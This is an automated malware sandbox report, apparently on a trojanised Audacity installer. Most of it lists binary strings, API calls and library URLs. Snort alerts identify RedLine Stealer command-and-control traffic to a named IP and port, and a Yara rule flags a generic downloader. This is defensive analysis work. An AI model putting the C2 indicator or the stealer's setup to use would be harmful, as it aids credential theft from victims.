Source:	Binary string: D:\a\audacity\audacity\.conan\data\vorbis\1.3.7\_\_\build\3b26581a680ab99eb0ef725aa935a0289708df91\build\lib\RelWithDebInfo\vorbis.pdb** source: Audacity.exe, 00000010.00000002.578547685.00007FFCFEFAB000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC\RelWithDebInfo\FLAC.pdb source: Audacity.exe, 00000010.00000002.580349736.00007FFCFF0A0000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC++\RelWithDebInfo\FLAC++.pdb source: Audacity.exe, 00000010.00000002.583539424.00007FFCFF270000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\vorbis\1.3.7\_\_\build\3b26581a680ab99eb0ef725aa935a0289708df91\build\lib\RelWithDebInfo\vorbis.pdb source: Audacity.exe, 00000010.00000002.578547685.00007FFCFEFAB000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\vorbis\1.3.7\_\_\build\3b26581a680ab99eb0ef725aa935a0289708df91\build\lib\RelWithDebInfo\vorbisenc.pdb source: Audacity.exe, 00000010.00000002.579864349.00007FFCFF065000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\mpg123\1.29.3\_\_\build\9e1553e6621f02c61665c153436b2dfb785b6498\bin\mpg123.pdb source: Audacity.exe, 00000010.00000002.583274055.00007FFCFF249000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\wxwidgets\3.1.3.3-audacity\_\_\build\f80b0ba6cc698a650654b5966db925c8f7197d7d\build_subfolder\bin\wxbase313u_vc_x64_custom.pdb source: Audacity.exe, 00000010.00000002.593483340.00007FFCFF758000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\devel\projects\audacity\audacity\.conan\data\expat\2.2.9\audacity\stable\build\ad5261bf6074807e7189c351b0f79b113bf2f6c0\build_subfolder\bin\libexpat.pdb source: Audacity.exe, 00000010.00000002.585991860.00007FFCFF3A4000.00000002.00000001.01000000.0000001D.sdmp

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0024A534 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0024A534
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0025B820 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0025B820
Source: C:\Users\user\Desktop\WsiysHggF9.exe	Code function: 0_2_0026A928 FindFirstFileExA,	0_2_0026A928

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.6:49693 -> 188.34.179.139:10561
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.6:49693 -> 188.34.179.139:10561
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 188.34.179.139:10561 -> 192.168.2.6:49693

Yara detected Generic Downloader

Source: Yara match

File source: 1.3.Installation_controller.exe.3fc3a610.0.raw.unpack, type: UNPACKEDPE

Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://audacity.sourceforge.net/xml/audacityffmpegpreset-1.0.0.dtd
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://audacity.sourceforge.net/xml/audacityproject-1.3.0.dtd
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://audacity.sourceforge.net/xml/xmlnsDELETE
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://audacityteam.org.http://audacityteam.org.http://audacityteam.org
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://audacityteam.org/about/
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.530283625.0000000002273000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://audacityteam.org03
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://belazar.info/belsoft/
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.516262389.000000000018C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.516262389.000000000018C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://drobilla.net/ns/lilv#dyn-manifest
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://drobilla.net/ns/lilv#filter-lang
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://drobilla.net/ns/lilv#lv2-path
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://forum.audacityteam.org/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://kxstudio.sf.net/ns/lv2ext/external-ui#Host
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://kxstudio.sf.net/ns/lv2ext/external-ui#Widget
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lame.sf.net
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lame.sf.net32bits64bits
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lame.sourceforge.net/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lexvo.org/id/iso639-3/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ll-plugins.nongnu.org/lv2/namespace#MathConstantPlugin
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ll-plugins.nongnu.org/lv2/namespace#MathFunctionPlugin
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#AtomPort
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#AtomPorthttp://lv2plug.in/ns/ext/buf-size#maxBlockLengthhttp://lv2plug
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Blank
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Blankhttp://lv2plug.in/ns/ext/atom#Boolhttp://lv2plug.in/ns/ext/atom#C
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Bool
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Chunk
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Double
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Event
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Eventhttp://lv2plug.in/ns/ext/atom#frameTimehttp://lv2plug.in/ns/ext/a
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Float
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Int
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Literal
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Long
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Object
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Path
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Property
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Resource
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Sequence
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#String
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Tuple
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#URI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#URID
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#Vector
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#atomhttp://lv2plug.in/ns/ext/presets#psethttp://lv2plug.in/ns/ext/stat
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#beatTime
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#childType
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#childType%2XFailed
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#eventTransfer
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#frameTime
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/atom#supports
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/buf-size#boundedBlockLength
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/buf-size#fixedBlockLength
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/buf-size#maxBlockLength
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/buf-size#minBlockLength
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/buf-size#nominalBlockLength
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/buf-size#sequenceSize
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/data-access
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/dynmanifest#DynManifest
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/event#supportsEvent
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/event#supportsEventlilv_port_get_valuelilv_port_get_name%s():
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/instance-access
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/log#Error
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/log#Note
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/log#Trace
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/log#Warning
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/log#log
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/midi#MidiEvent
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/options#interface
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/options#interfacehttp://lv2plug.in/ns/ext/state#interfaceCouldn
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/options#options
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/options#optionsLV2InstanceFeaturesList::CheckOptionsD:
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/options#requiredOption
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/options#supportedOption
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/parameters#sampleRate
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-groups#group
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#causesArtifacts
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#expensive
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#logarithmic
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#notAutomatic
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#notOnGUI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#rangeSteps
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/port-props#trigger
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/presets#
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/presets#Preset
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/presets#value
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/resize-port#minimumSize
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#interface
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#makePath
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#mapPath
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#mapPathhttp://lv2plug.in/ns/ext/state#makePathlilv_state_new_from_ins
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#state
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/state#statelilv_state_new_from_world%s():
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/time#Position
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/time#frame
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/time#speed
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/uri-map
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/urid#map
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/urid#unmap
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/worker#interface
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/ext/worker#schedule
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#CocoaUI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#Gtk3UI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#GtkUI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#Qt4UI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#Qt4UIhttp://lv2plug.in/ns/extensions/ui#Qt5UIhttp://lv2plug.in/ns
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#Qt5UI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#WindowsUI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#WindowsUIhttp://lv2plug.in/ns/extensions/ui#showInterface&Duratio
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#X11UI
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#binary
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#external
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#fixedSize
